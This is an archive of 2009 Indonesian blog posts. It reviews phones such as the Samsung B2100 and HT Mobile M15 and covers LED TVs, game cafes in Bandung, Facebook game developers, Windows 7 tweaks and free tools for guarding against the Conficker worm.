Bahkan klaim si produsen, dengan sertifikasi IP57, hape B2100 mampu memproteksi dirinya dari debu dan air untuk kedalaman 1 meter selama 30 menit. Termasuk beradaptasi dengan cuaca tak menentu, termasuk bertemperatur sangat dingin atau panas, sesuai dengan standar militer 810F (MIL-STD-810F).

Kamera
Masuk ke fitur, di kamera Anda hanya menemui kualitas 1,3MP. Memang banyak yang menyayangkan kenapa cuma segitu kehandalan sebuah hape outdoor yang seharusnya ditunjang dengan kerapatan piksel maksimal, ya tentunya untuk mengabadikan momen outdoor juga. Ya minimal kalau rentang harga sejutaaan, 2MP bisa jadi kekuatan piksel terendah.

Meski, ditepis oleh hasil foto dari luar ruang yang cukup baik, ketika Sinyal menjajalnya dengan modus normal, serta kerapatan maksimal 1280 x 1024 pixels di siang hari kualitas gambar tergolong lumayan baik di hape, tapi tidak ketika dilakukan pembesaran via komputer, kualitasnya kurang baik.

Kualitas yang minim di segi piksel sepertinya coba ditutupi dengan hadirnya beberapa sub fitur kamera yang ada pada B2100. Anda bisa memanfaatkan variasi efek yang bisa membantu Anda berkreasi dalam menentukan hasil akhir pada foto.

Tambahan lainnya, Anda bisa memainkan bingkai agar mendapat pola gambar lucu yang menampilkan wajah Anda dalam template gambar yang sudah disediakan. Untuk Video, perekam video (15 fps) bisa digunakan untuk memutar gambar bergerak berformat MPEG4, H.263, 3GP.

Audio Player
Seperti yang Sinyal bilang sebelumnya, jika hape outdoor memang tak sepenuhnya dibenamkan fitur-fitur maksimal. Tak terkecuali fitur multimedia!dengan keterbatasan nya, Samsung B2100 coba memberikan sarana hiburan lain lewat perangkat pemutar audio. Beragam format audio pun bisa dimainkan pada B2100. Misalnya, MP3, AAC, AAC+, WMA, AMR, MIDI, dan WAV. So, Anda bisa memanjakan telinga lewat lagu kesayangan. Selain itu, terdapat radio FM sebagai pelengkapnya.

Kualitas Audio pun masuk kategori pertengahan, tak terlalu bagus tapi bukan berarti jelek juga. Dari hasil trial yang Sinyal lakukan pada uji suara langsung dari bawaan vendor yang bersangkutan bisa dimuntahkan dengan baik oleh speaker bodi. Hanya saja, tak sejernih ketika menancapkan headset pada port sebelah kanan B2100 dan mendengarkannya lewat kualitas stereo-nya. Sayangnya, ketahanan baterai agak kedodoran ketika musik terus dimainkan.

Pendapat Kami
Secara menyeluruh, kualitas hape outdoor dari B2100 memang sudah teruji dalam tes yang dilakukan Sinyal. Benturan, rendaman, dan suhu ekstrem di dalam lemari pendingin adalah buktinya. Yang perlu disangsikan hanyalah ketangguhan baterainya dalam menunjang kegiatan luar ruang. Karena tak terlampau tahan untuk kondisi aktif, sesuai dengan tampilan eksteriornya.

Sumber: Sinyal

PLUS: Tahan banting untuk segala kondisi

MINUS: Baterai boros, minim multimedia.

SPESIFIKASI Samsung B2100 Xtreme
Dimensi : 113x48,9x17,4 mm
Bobot : 102,8 gram
Baterai : Li-Ion 1000 mAh
Jaringan : 2G GSM 850/900/1800/1900
Layar : TFT, 256 ribu warna, 120x160 pixel, 1,77 inci
Memori internal : 7MB
Memori eksternal : microSD (TransFlash), up to 8GB
Konektivitas : GPRS Class 10 (4+1/3+2 slots), 32 - 48 kbps, EDGE Class 10, 236.8 kbps, v2.1, Bluetooth dengan A2DP.
Kamera : 1,3MP, 1280 x1024 pixel
Messaging : SMS, MMS
Aplikasi : JAVA MIDP 2.0
Isi paket : Handset Samsung B2100, Baterai Li-ion 1000 mAh, handsfree, charger, manual book, kartu garansi.
Waktu bicara : 600 jam
Waktu siaga : 9 jam
Lain-lain : Audio Player MP3/e-AAC+/WMA/WAV, Stereo FM radio with RDS , WAP 2.0/xHTML, Shock, water and dust resistant (IP57, MIL-STD-810F), Water proof up to 1 meter and 30 minutes, Anti-shock materials (urethane), Noise cancellation with dedicated microphone, Flashlight with dedicated key, MPEG4/3GP/M4V player, Polyphonic(64), MP3 ringtones, Voice memo, Stopwatch, T9.

HT Mobile M15 Music Phone: Hape Musik Harga Menarik

2009-12-17T06:36:00.000-08:00

Sekilas, bentuk HT Mobile M15 Music Phone menyerupai hape Nokia Express Music yang memiliki tombol pintas ke playlist music di bagian sisi kiri body-nya. Walau sangat fungsional, keberadaan tombol ini malah sedikit mengganggu tampilan keseluruhan yang terlihat menjadi lebih lebar.

Berkat bodi-nya yang cukup lebar, hape candy bar ini tetap nyaman digenggam walau berpermukaan halus dan licin. Tapi, sering-seringlah mengelapnya, karena akan sering kotor dengan jejak sidik jari yang menempel.

Dibandingkan HT Mobile Music Phone seri lain, M12 dan M10, seri yang satu ini memiliki tampilan layar yang lebih besar, yakni 2”. Ditambah lagi dengan warna casing di sekeliling layar yang serupa, membuat kesan layar menjadi lebih luas. Displai yang nyaman dilihat ternyata didukung 256 ribu warna dengan kerapatan piksel 176x220 pixel. Ini membuat tampilan warna menjadi lebih tajam.

M15 juga mengusung jaringan Dobel GSM yang dapat aktif secara berbarengan. Kelebihannya, kita dapat memilih untuk mengaktifkan keduanya atau memilih salah satunya saja. Jika salah satu saja yang aktif, pada layar tampak tanda silang pada sisi nama SIM Card dan lambang sinyal. Untuk memudahkan penggunaan, di sebelah kiri tombol navigasi terdapat dua tombol dial calls untuk masing-masing SIM card.

Keseluruhan tombol, baik navigasi maupun deretan angka, menggunakan bahan plastik empuk sehingga sangat pas untuk urusan pencet-memencet. Walaupun permukaannya juga licin, jari tidak akan mudah tergelencir hingga salah memencet tombol saat ayik ber-SMS ria.

Musik
HT Mobile M15 yang mengusung konsep music phone ini berusaha memudahkan penggunanya untuk menikmati alunan musik dengan menyediakan tombol shortcut di sisi kanan atas. Tersedia tombol Play-Off musik yang dapat langsung dipencet untuk memulai alunan lagu setelah mengeset playlist-nya.

Walau disediakan folder My Music di memori hape, tetap saja lagu tidak dapat disimpan karena kapasitas total memori internalnya yang hanya sebesar 761KB, padahal satu buah lagu saja memiliki besaran lebih dari 1MB. Jadi koleksi lagu hanya dapat disimpan di memori eksternalnya saja.

Seperti lazimnya hape Cina lainnya, suara M15 nyaring. Lantangnya suara kadang teredam saat hape diletakkan di bidang datar dengan layar menghadap ke atas. Ini akibat posisi speaker yang terletak di bagian belakang bawah bodi. Namun sayangnya, untuk menunjang konsep utama hape ini terlihat masih banyak kekurangan. Suara yang keluar terasa pecah, apalagi saat volume dimaksimalkan. Untungnya, suara masih dapat diatur sesuai keinginan lewat equalizer yang terdapat di dalam fitur sound effect. Alhasil kualitas suara lebih dapat dinikmati oleh telinga.

Selain itu, mendengarkan music lewat radio FM juga dapat dilakukan. Pada layar terdapat shortcut icon Radio yang berdampingan dengan music player. Untuk mengaktifkannya, handsfree harus dicolokkan terlebih dulu pada jack 3,5mm. Siaran radio yang tengah diputar dapat direkam lewat fasilitas Record dengan hasil suara sesuai volume saat proses perekaman.

Kamera
Walau fokus pada musik, HT Mobile M15 menyediakan perangkat kamera VGA. Sayangnya tidak tersedia tombol khusus kamera. Untung tombol navigasi ke kanan sudah di-default untuk mengoperasikan kamera. Tidak ada fasilitas cepat untuk berpindah dari kamera ke video seperti halnya hape pada merek lain. Hasil foto juga dapat di-share ke banyak orang via MMS dan Bluetooth. Aktivasi MMS dapat dilakukan dengan men-setting Server Profile sesuai operator yang digunakan.

Untuk mengoptimalkan hasil foto pada kamera beresolusi rendah, beberapa hal harus disiasati, terutama yang berhubungan dengan pencahayaan. Kondisi cahaya yang cukup terang di siang hari merupakan waktu yang pas untuk melakukan pemotretan. Namun untuk di dalam ruangan, tersedia pengaturan cahaya dan white balance guna menunjang asupan sinar yang cukup. Kualitas gambar juga bisa ditingkatkan ke posisi high dengan ukuran maksimal 680x480. Hasilnya lebih dapat dinikmati, walau dengan beberapa keterbatasannya.

Namun, meski telah menggunakan settingan modus malam dan peningkatan cahaya yang maksimal, pemotretan indoor di malam hari tetap memberikan hasil yang mengecewakan.

Konektivitas dan Kapasitas
Kapasitas hape yang mininim dapat ditambah karena terdapat slot micro SD yang tertanam di bagian bawah SIM Card 1. Pada paket penjualan, microSD sebesar 2GB sudah termasuk di dalamnya, namun hape ini masih kompatibel dengan microSD berkapasitas hingga16GB. Jadi tak perlu ragu-ragu lagi untuk menyimpan banyak lagu dan foto yang tidak mungkin tersimpan pada memori internalnya.

Browsing dapat dilakukan dengan memilih website yang dituju di bagian Bookmarks. Saat Sinyal masuk ke Bookmarks, 2 website telah tersedia, yakni Sina dan Yahoo!. Kita pun masih dapat menambahkan web tujuan yang akan sering kita gunakan di bagian ini. Koneksi GPRS kelas 12 yang diusung memang membuat browsing menjadi terbata-bata. Tapi untuk sekadar mengusir rasa bosan, aplikasi ini dapat diandalkan.

Pendapat Kami
Harga yang minimalis bukan berarti berfungsi minim pula. Kemampuannya mengalunkan lagu lewat Music Player dan radio FM, meski hasilnya kurang maksimal, masih tetap dapat diandalkan. Apalagi didukung dengan kemampuan koneksi internet dan kameranya cukup memberi hiburan di kala senggang.

Sumber: Sinyal

PLUS: Bisa browsing internet, bonus micro SD 2 GB.

MINUS: Suara kurang maksimal, kapasitas memori internal kecil

SPESIFIKASI HT Mobile M15 Music Phone
Dimensi : 106x48x11,5 mm
Bobot : 69 gram
Baterai : 860 mAh
Waktu Bicara : rata-rata 4 jam
Waktu Siaga : rata-rata 3 hari
Memori internal : 761 KB
Memori eksternal : microSD maks. 16 GB
Messaging :SMS, MMS,
Jaringan :Dual mode GSM-GSM, GSM 900/1800MHz
Konektivitas :GPRS kelas 12, Bluetooth A2DP
Kamera : Kamera VGA
Layar : 256 ribu warna, 176x220 pixel, 2”
Isi paket : Handphone M15, handsfree, 2 baterai, Kabel data USB, Travel charger, MicroSD 2GB, manual book
Aplikasi : Polifonik (MP3), MP3/Mp4 player, WAP 1.2.1, radio FM, FM recording, Magic Sounds, MP3 ringtone, Phonebook 500 sets, Flight mode, Power saving, STK (sim toolkit), Calculator, Calendar, Stopwatch, Alarm clock, Global Time, E-Book Reader, Unit Conversion, Health Management, Internet Browser, Video Recorder, Games (Puzzle)

Pengalaman Gaya Hidup Nirbatas

2009-12-17T06:35:00.000-08:00

Dalam waktu tak terlalu lama lagi, kita akan menyaksikan pergeseran penting beralihnya siaran teve dari analog ke digital. Tren ini menandakan pesawat teve lama pasti tidak bisa beroperasi dalam format siaran teve digital sehingga permintaan teve baru akan meningkat secara drastis.

Tren ini ditandai semakin banyak dan beragamnya pilihan teve menggunakan teknologi baru liquid crystal display (LCD) atau light emitting diode (LED), tak hanya mengantisipasi kehadiran siaran teve digital, tetapi juga sebuah kesinambungan teknologi teve untuk menghadirkan gambar-gambar yang tajam dan jernih dengan kedalaman warna gelap yang lebih pekat.

Secara skala ekonomi dan mata rantai pasokan komponen, jenis teve baru ini menjadi semakin terjangkau dan produksinya menjadi semakin tipis menghadirkan perangkat teve yang sangat futuristik. Ini antara lain yang mendasari pergeseran jenis teve buatan Samsung asal Korea Selatan dari menggunakan LCD menjadi LED.

Kim Yoo-young, Managing Director PT Samsung Electronics Indonesia, dalam tanya jawab melalui surat elektronik dengan Kompas pekan ini menjelaskan, pilihan teknologi produksi teve dengan pendekatan edge-type dibandingkan direct- type memungkinkan mencapai ketebalan teve yang sangat tipis.

"Itu sebabnya Samsung bisa memiliki teve berteknologi LED ultratipis dengan ketipisan hanya mencapai 29,9 mm," kata Kim dalam surat elektroniknya. Ia menambahkan, dalam pendekatan direct-type, LED teve yang dibuat menggunakan LED lebih banyak dibandingkan edge-type dan menjadi mahal untuk diproduksi.

Rasio kontras

Kim juga menjelaskan, rasio kontras pada pembuatan teve menggunakan teknologi LCD maupun LED menjadi penting. Semakin tinggi rasio kontras, sekarang sudah mencapai jumlah jutaan, menghasilkan kualitas gambar tayangan yang semakin baik. "Kualitas gambar tayangan sekarang menjadi pertimbangan orang membeli teve," katanya.

Kim menjelaskan, orang- orang sekarang mencari pengalaman yang terbaik ketika menonton teve. Dinamika rasio kontras yang mencapai megarasio mampu membedakan kecanggihan teknologi ketika pancaran sinar yang terang dan kedalaman warna gelap bisa diproduksi dari waktu ke waktu, yang terbilang dalam bilangan jutaan.

"Teve LED memproduksi warna hitam gelap tampak tidak berujung dalam di mata kita. Namun, keterangan dalam warna putih juga tetap cerah, tajam menghadirkan warna yang lebih bersinar. Hasilnya adalah kualitas gambar yang diukur menurut keindahan warna alami dalam kehidupan ini," kata Kim.

Konsumen akan menikmati pengalaman menonton terbaik dibandingkan sebelumnya menggunakan teve LED. "Kita semua bisa melihat kerutan, rintikan mata air, maupun kendaraan yang melaju sangat cepat dengan sangat jelas, sejelas kenyataan sesungguhnya," ujarnya.

Konvergensi solusi

Di bagian lain, Kim Yoo-young, yang pernah menjabat sebagai Managing Director Samsung India Electronics Pvt Ltd, menjelaskan, konsumen elektronik telah bergeser melampaui konvergensi antara produk individual dan beragamnya kategori menuju konvergensi berbagai solusi dengan kehidupan konsumen sendiri.

"Artinya, konvergensi yang terbarui mengharuskan penciptaan pengalaman pengguna yang sama sekali baru. Visi Samsung adalah menanamkan evolusi baru dan pemuasan gaya hidup melalui pengalaman pengguna tidak berbatas yang memiliki ciri emosional, intuitif, serta kaya dengan isi. Secara bersamaan, memastikan semua ini dikemas dalam penghormatan kita pada lingkungan hidup," katanya menekankan bahwa LED teve itu juga ramah lingkungan dengan konsumsi listrik yang menghemat 40 persen.

Ketika ditanya tentang keterbatasan mengembangkan ketipisan teve, Kim Yoo-young hanya menjelaskan, pada acara CES 2010 yang diselenggarakan bulan depan di Las Vegas, AS, Samsung akan menghadirkan LED teve baru dengan rancang desain ketebalan yang sama sekali baru. "Produk LED teve kita untuk 2010 akan memenuhi visi kita tentang gaya hidup melalui pengalaman yang tak terbatas

Kafe Game, dari Stadion Sampai Ruang VIP

2009-12-17T06:33:00.000-08:00

Dari luar, Kafe Game Maenbola tidak ubahnya warung makan di ruko. Namun, begitu menginjak lantai dua, atmosfer langsung terasa berbeda. Tiba-tiba, kita merasa seperti berada di sebuah stadion bola.

Seluruh karpet disulap berwarna hijau layaknya rumput di stadion. Memandang ke langit-langit ruangan, terlihat lekukan-lekukan besi, mirip stadion Delle Alpi di Torino. Wallpaper yang menggambarkan hiruk pikuk penonton di sebuah stadion membuat ruangan terasa lebih luas dan hidup.

Tetapi, itu semua hanya desain interior. Suasana mirip stadion bola ini sengaja diciptakan guna mendukung atmosfer bermain game sepak bola-Pro Evolution Soccer (PES) di konsol Playstation 3 (PS3) yang lebih nyaman dan kontekstual.

"Ya, sajian utama di kafe ini sebetulnya adalah bermain video game, khususnya permainan sepakbola. Seperti main di stadion beneran. Walaupun, sebetulnya cuma di PS3," tutur Yuri Alexander (27), salah seorang pengunjung.

Yang lebih seru, game PES ini bisa dimainkan delapan orang sekaligus. Berkat teknologi LAN (local area network), di game kafe ini, kedelapan gamer bisa terhubung sekaligus memainkan dua tim berbeda dalam satu permainan. Layar LCD yang ada di tengah bisa digunakan sebagai proyektor alias papan skor!

"Mayoritas penduduk Indonesia kan penggemar bola. Dan, pemain PS kebanyakan mainnya juga game PES, dulu Winning Eleven (WE), makanya game kafe ini didesain khusus untuk hobist bola," tutur Valentinus Sanusi, pemilik Game Kafe yang berada di Paskal Hyper Square Blok C-29, Bandung ini.

Meskipun kental dengan nuansa sepakbola, tidak seluruh pengunjung yang datang bermain game sepakbola. Seperti yang terlihat Kamis (3/12), dua pasang mahasiswi terlihat asyik bermain game Rayman Raving Rabbid 2 di konsol Nintendo Wii. B rbeda dengan PS3, game yang disajikan di konsol ini lebih interaktif dan memaksa gamer aktif menggerakkan tubuh.

"Asyik aja bisa seru-seruan begini," tutur Fairlyani (22), salah seorang pengunjung yang terlihat berkali-kali kegirangan sambil menggerakkan lengan dan jarinya untuk mengontrol permainan.

"Kalau main ini (Nintendo Wii), orang yang gak suka game, bisa jadi ikut suka. Karena gerak terus dan mainnya ramai-ramai," ucap Valentinus kemudian. Di game kafe ini, harga sewa PS3 dan Wii Rp 10 ribu per jam.

Untuk mendukung suasana, makanan dan minuman disajikan pun berbau bola . Sebagai contoh, paket kesebelasan 4-4-2 untuk menyebut menu empat mi telor, 4 jumbo es teh, dan 2 jam main PS3. Ada lagi menu Dinho Carbonara yang tidak lain adalah fertucini dicampur potongan smoked beef dan keju.

Ruang privat

Suasana kenyamanan sama terlihat di game kafe Gen-X di Jalan Naripan 121, Bandung. Di tempat ini para gamer merasa diistimewakan berkat hadirnya empat ruangan VIP (privat) untuk bermain PS3. S eperti ruangan karaoke, ruang VIP ini dilengkapi fasilitas AC, sofa yang nyaman untuk enam orang, dan televisi LCD 32 inci.

Tarif sewanya pun terjangkau, hanya Rp 8.000 per jam, jauh lebih murah dari tempat karaoke. Jika pengunjung haus atau lapar, cukup memanggil pelayan dan sajian pun segera dihidangkan. Di sebuah sudut kafe game ini terdapat pula sebuah bar kafe yang menyajikan berbagai snack dan minuman ringan.

"Tetapi, gak ada bir dan sejenisnya. Dilarang," tutur Ari Setiawan (19), operator setempat. Bukan apa-apa, sebab kafe game ini sering dikunjungi siswa. Karyawan, mahasiswa, dan ekskutif muda juga tidak jarang mampir ke sini.

"Lumayan menghilangkan stress. Sebab, suasananya cozzy (santai) dan bikin rileks, terutama di ruang VIP," tutur Indra S. (32), karyawan perusahaan periklanan yang mengaku kadang curi-curi waktu kerja untuk nge-game di sini. Wah!

Menggiurkannya Bisnis Permainan di Situs Jejaring Sosial

2009-12-17T06:32:00.000-08:00

Perkembangan situs jejaring sosial, seperti Facebook, tak hanya menyenangkan pemakainya. Kehadiran situs ini juga membuka peluang usaha baru, khususnya bagi para pengembang game animasi untuk memasarkan produk. Mereka berlomba membuat dan menjual game. Misalnya, jenis flash game.

Abigdev adalah salah satu perusahaan pengembang game dari Bandung yang menangkap fenomena ini untuk mengembangkan usaha. Pengelola Abigdev yang sekaligus merupakan pembuat game animasi, Fajar Persada, mengatakan bahwa minat pengguna Facebook untuk bermain game lumayan tinggi. "Dalam satu hari ada sekitar 10.000 user yang memakai satu flash game," ujar Fajar.

Hingga kini, Abigdev sudah meluncurkan delapan jenis game di berbagai situs jejaring online. Fajar mengaku selalu mengusung tema game yang berbau edukasi. Beberapa game bikinan Abigdev adalah Nusachallenge dan Angklung Heroes Game. Pengguna Facebook bisa memainkan permainan Nusachallenge.

Ke depan, Abigdev ingin terus mengembangkan permainan yang siap pakai dan siap untuk dijual. Harga satu game itu sekitar 600 dollar AS. "Harga semakin mahal jika game itu menawarkan konten yang semakin canggih atau menyediakan banyak efek game," ujarnya.

Sebagian besar game buatan Abigdev memakai teknologi tiga dimensi (3D). Nah, harga game yang membutuhkan space lebih besar dan dengan konten yang lebih canggih ini mencapai 1.000 dollar AS.

Fajar mengatakan, penentuan harga ini mengacu pada harga game portal online di pasar internasional. "Jadi, kami di sini bersaing dengan pembuat game animasi dari luar," papar Fajar.

"Gamer" gampang bosan

Kebanyakan penggemar game alias gamer cepat bosan terhadap satu permainan. Kebiasaan ini membuat bisnis pembuatan game animasi ini masih terbuka lebar. Fajar memperkirakan, tiap satu game paling lama bertahan antara dua dan tiga tahun dengan jumlah user antara satu juta dan tiga juta orang. Ketika gamer mulai meninggalkan sebuah permainan, itu artinya pengembang harus membuat game yang baru.

Untuk membuat satu game dibutuhkan satu tim yang beranggotakan tiga orang. Pembuatan game ini butuh waktu paling cepat sekitar dua bulan. Yang paling lama, ungkap Fajar, adalah proses pembuatan konsep game.

Pembuat game harus melakukan riset untuk mengetahui tren game yang banyak diminati. Saat ini, dunia game masih berkiblat pada dua negara, Korea dan Jepang. "Biasanya game itu pengembangan dari komik," kata Fajar.

Richard Kartawijaya, Wakil Ketua Asosiasi Peranti Lunak Telematika Indonesia (Aspiluki), menilai bahwa peluang di bisnis pembuatan game animasi saat ini memang masih sangat terbuka lebar. Sifat gamer yang gampang bosan justru semakin menguntungkan.

Namun menurut Richard, pengelola situs jejaring sosial tentu tak mau rugi. Para pembeli konten itu menyukai game yang kreatif dan variatif. "Mereka hanya akan membeli game yang bisa bertahan lebih lama agar tidak tekor," ungkapnya.

Saat ini, sebanyak 60 persen game yang ada di Indonesia merupakan bikinan luar negeri. Sisanya baru buatan anak negeri. Richard menyebut ciri game lokal lebih bersifat edukatif. Sayang, game yang berkembang saat ini lebih banyak bergenre kekerasan.

"Pembuat dan pembelinya mungkin untung karena banyak peminat. Walau demikian, efek buat konsumen kurang baik,"

Google Earth untuk Mobil Audi A8

2009-12-17T06:20:00.000-08:00

Fitur ini mungkin tidak cukup kuat untuk mendorong Anda membeli Audi A8, tetapi pasti merupakan tambahan yang menyenangkan. Ya, di model 2011 mobil Audi A8 sudah tersedia sistem navigasi built-in lengkap dengan Google Earth dan modem GPRS/EDGE.

Inilah kali pertama Google Earth tersedia langsung di mobil produksi. Selain menampilkan beragam point-of-interest yang bersumber dari Google, modem ini akan memungkinkan penggunanya mengunduh berbagai informasi up-to-date ke unit navigasi tersebut – kendati belum jelas apa yang akan bisa dihadirkan.

Belum ada kabar tentang harga tambahan yang akan dibebankan ke A8, tetapi sepertinya fitur ini pun tidak akan langsung tersedia pada mobil-mobil Audi yang dirilis tahun depan. Audi hanya mengatakan “pertengahan 2010” tentang produk tersebut.

Supaya Windows 7 Tidak Restart Terus-menerus

2009-12-17T06:19:00.000-08:00

Windows 7 bukanlah sistem operasi “sakti” yang bebas masalah. Meski sudah jauh lebih baik dibandingkan pendahulunya, ada saja kekurangan di sana sini. Masalah yang muncul bisa bermacam-macam, mulai dari aplikasi crash gara-gara tidak mendukung, sampai penyakit doyan restart sendiri.

Kejadian restart otomatis ini sebenarnya bukanlah suatu bug, tetapi justru fasilitas yang memang dimiliki Windows jika ia mendeteksi adanya masalah pada sistem. Meski begitu, alih-alih membantu, fitur ini bisa jadi malah bikin sebal.

Untuk mencegahnya, simak langkah-langkah berikut.
1. Klik “Start > Control Panel > System and Security > System”.
2. Klik “Advanced system settings”, lalu klik tombol “Settings” yang ada di dalam kotak “Startup and Recovery”.
3. Sebuah jendela baru berjudul “Startup and Recovery” akan muncul. Carilah kotak cek “Automatically restart” pada boks “System failure”, lalu hilangkan tanda cek di depannya.
4. Klik “OK” dan “OK” sekali lagi untuk menyimpan perubahan dan keluar dari “Sistem Properties”.

Supaya Restart Windows Lebih Cepat

2009-12-17T06:12:00.000-08:00

Virtual Memory, atau yang lebih dikenal dengan nama swap file, merupakan memori bohong-bohongan yang terletak di dalam hard disk. Pada dasarnya, Virtual Memory berguna jika RAM yang terdapat di sistem sudah tidak mencukupi sehingga dipakailah ruang hard disk sebagai tempat penyimpanan sementara. Karena itu, tidak mengherankan jika ukuran Virtual Memory bisa disetel sampai 2 kalinya RAM sistem.

Tapi tahukah Anda, besar-kecilnya Virtual Memory dapat mempengaruhi kecepatan shutdown atau reboot Windows. Semakin besar Virtual Memory, semakin lama pula Windows melakukan reboot atau shutdown.

Begini solusi untuk mengatasinya.
1. Klik menu “Start”, lalu ketik “Local Security Policy”.
2. Atau coba ketikkan “secpol.msc” di menu Start. Lihat kolom kiri, lalu pilih “Security Settings > Local Policies > Security Options > Shutdown : Clear virtual memory pagefile”. Set value-nya menjadi “Disabled”.

Anda memiliki RAM sistem yang besar? Anda dapat pula menyetel supaya Windows berjalan tanpa Virtual Memory dengan cara ini.
1. Klik kanan “Computer > Properties”. Pilih “Advanced system settings”.
2. Klik “Settings” pada bagian Performance. Pada window “Performance Options”, klik tab “Advanced”.
3. Di bagian “Virtual memory”, klik “Change”. Di situ Anda dapat melihat di kandar mana XP menaruh Virtual Memory.
4. Untuk men-disable penggunaan Virtual Memory, pilih kandar di mana XP menaruh Virtual Memory (pagefile.sys), lalu klik “No Paging File”, dilanjutkan dengan mengklik “Set”. Setelah itu, reboot komputer Anda.

Virtual Memory ini bisa dibilang bagai buah simalakama. Misalnya, jika Anda ingin mempercepat shutdown atau reboot dengan men-disable fitur “Shutdown : Clear virtual memory pagefile” pada “Local Security Policy”, sistem Anda jadi kurang aman karena cracker bisa saja “melihat-lihat” isinya. Sebaliknya, bila Anda tidak memakai Virtual Memory, bisa-bisa sistem Anda menjadi kurang stabil.

Sebagai jalan tengah, bagi Anda yang memiliki RAM sistem berukuran besar, ada baiknya menggunakan sedikit Virtual Memory. Sebagai contoh, bila Anda memiliki 1GB RAM, Anda bisa memakai Virtual Memory sebesar 256MB atau 128MB dengan tetap menyetel “Shutdown : Clear virtual memory pagefile” menjadi “Enabled”. Besar-kecilnya Virtual Memory dapat disesuaikan dengan kebutuhan dan ruang hard disk.

Anak

2009-09-27T21:46:00.000-07:00

Pendidikan yang Baik untuk Anak
Pendidikan anak memang sangat penting. Pendidikan dari sekolah akan membantu seorang anak bukan hanya mengerti teori dari mata pelajaran yang diajarkan, namun yang terpenting yaitu cara belajar yang terstruktur dan baik. Dengan pendidikan yang baik, maka masa depan seorang anak akan lebih terencana dan terjamin. Namun, apakah pendidikan seorang anak hanya dilimpahkan pada sekolah saja? Bagaimana dengan peranan orang tua?

Liburan

2009-09-27T21:43:00.000-07:00

Membuat Persiapan untuk Liburan
Liburan merupakan saat yang sangat dinantikan oleh seluruh keluarga. Bagi anak sekolah, liburan merupakan momen di mana mereka bisa menikmati rekreasi bersama keluarga dan teman-teman. Bagi para pekerja, liburan juga penting untuk menghindari stres pekerjaan. Namun, jangan sampai liburan atau rekreasi keluarga Anda berantakan akibat kurangnya persiapan. Apa yang dapat Anda lakukan untuk menjadikan liburan Anda menyenangkan?

Gunakan Perangkat Lunak Open Source

2009-09-27T21:37:00.000-07:00

Komputer telah menjadi bagian dari kehidupan kita sehari-hari. Hampir setiap hari kita menggunakan komputer untuk mengerjakan pekerjaan kita sehari-hari. Ada banyak sekali alternatif perangkat lunak (software) yang bisa kita gunakan untuk mengerjakan pekerjaan kantor dan rumah kita. Salah satunya adalah perangkat lunak open source software atau OSS. Dalam Bahasa Indonesia disebut sebagai perangkat lunak sumber terbuka.

Tips Memilih Smartphone atau PDA Phon

2009-09-27T21:36:00.000-07:00

BlackBerry, HTC, Dopod atau iPhone merupakan beberapa merk smartphone dan PDA phone yang beredar dan menjadi trend belakangan ini. Demam BlackBerry belakangan ini membuat banyak orang berlomba-lomba ingin memiliki teknologi terbaru dari telepon cerdas atau smartphone tersebut. Namun apakah memang Anda benar-benar membutuhkan telepon dengan fasilitas yang canggih tersebut? Bagaimana tips memilih smartphone yang tepat?

Hindari E-mail Spam atau Penggangu

2009-09-27T21:28:00.000-07:00

Spam atau junk mail (dalam bahasa Indonesia berarti surat sampah) yang disebar melalui e-mail sangat mengganggu bagi kebanyakan orang. Ketika mereka memeriksa inbox atau kotak masuk e-mail, ada ratusan e-mail spam yang dikirim oleh orang-orang tidak dikenal di dalam e-mail pribadi Anda. Beberapa penyedia jasa e-mail gratis seperti Yahoo dan Google meski sudah memiliki sistem anti-spam yang canggih, namun tetap saja masih banyak e-mail spam atau junk mail yang disebar oleh para spammer yang masih dapat Anda jumpai di dalam kotak surat elektronik milik Anda. Apa yang harus dilakukan untuk mengatasi masuknya e-mail yang tidak diundang dan bersifat mengganggu ini?

Returnil Virtual System Personal : Pengganti deepreeze!!

2009-05-04T21:07:00.000-07:00

returnil2

Salah satu pilihan untuk mengimunkan komputer dari infeksi malware adalah dengan cara virtualisasi. Dengan virtualisasi ini, apabila komputer terserang malware, yang terkena bukanlah sistem komputer tersebut secara langsung, tetapi sistem virtual tersebut yang terkena.

Software yang memproteksi komputer dengan virtualisasi ada beberapa, namun yang cukup populer
adalah Deepfreeze. Software ini banyak dipakai oleh warnet-warnet. Namun, program ini tidaklah gratis. Kita harus merogoh kocek cukup dalam untuk memakainya.

Software yang memiliki fungsi seperti halnya Deepfreeze adalah Returnil Virtual System (RVS). Tidak seperti Deepfreeze, RVS tersedia juga dalam versi gratis yaitu RVS Personal. RVS Personal bisa didownload di websitenya. RVS Personal ini gratis untuk pemakaian pribadi yang berarti tidak diperbolehkan digunakan untuk keperluan komersial, misalnya warnet.

Seperti halnya deepfreeze, RVS ini menerapkan teknologi virtualisasi untuk melindungi sistem
operasi Microsft Windows dari perubahan yang tidak diinginkan, baik oleh malware maupun kesalahan penggunaan. Bedanya adalah RVS ini hanya bekerja pada drive di mana Microsoft Windows diinstall. Misalnya MS Windows diintall di drive C, ketika RVS ini diaktifkan, maka segala perubahan di drive C akan hilang setelah komputer booting pada waktu berikutnya.

Hal ini berlaku pada keseluruhan partisi sistem (misalnya drive C). Jadi segala penambahan dan
pengurangan, termasuk instalasi atau perubahan (menyimpan atau menghapus data) di folder My Document (jika folder ini berada di drive C ) akan hilang dan kembali seperti semula seperti sebelum RVS ini diaktifkan. Sedangkan perubahan di partisi lain (misalnya drive D) tetap permanen. Karena itu ketika mengaktifkan RVS, pastikan bahwa data tersimpan di drive selain di drive tempat sistem berada.

Apabila komputer hanya memiliki satu partisi, RVS memiliki fasilitas untuk membuat drive virtual,
sehingga data bisa disimpan di drive tersebut. Jadi drive virtual ini berfungsi
seperti partisi non sistem sehingga kita bisa menyimpan secara permanen data di

(Tips untuk Conficker) Software pencegah penularan virus dari flashdisk

2009-05-04T21:00:00.000-07:00

Worm yang cukup menggemparkan di tahun ini adalah conficker atau kido atau Downadup. Selain menyebar melalui jaringan dengan memanfaatkan kelemahan Windows, worm ini menyebar melalui flahsdisk. Untuk menghambat penyebaran worm ini sebaiknya gunakan software-software yang berfungsi untuk ini.

1. Ninja Pendisk dari http;//nunobrito.eu/ninja/ , cara kerjanya dia menghapus autorun.inf, file-file virus yang namanya ada di file setting, membuat folder autorun.inf untuk mencegah terbentuknya file autorun.inf di flashdisk
2. USB Firewall di http://net-studio.org/application/usb_firewall.php, memberitahu jika ada program yang jalan via autorun
3. Dubalang, di http://www.ahlul.web.id/download/setupDubalang.exe (Untuk mendownloadnya, klik kanan-save as)

4. Panda USB and Autorun Vaccine, di http://research.pandasecurity.com/archive/Panda-USB-and-AutoRun-Vaccine.aspx
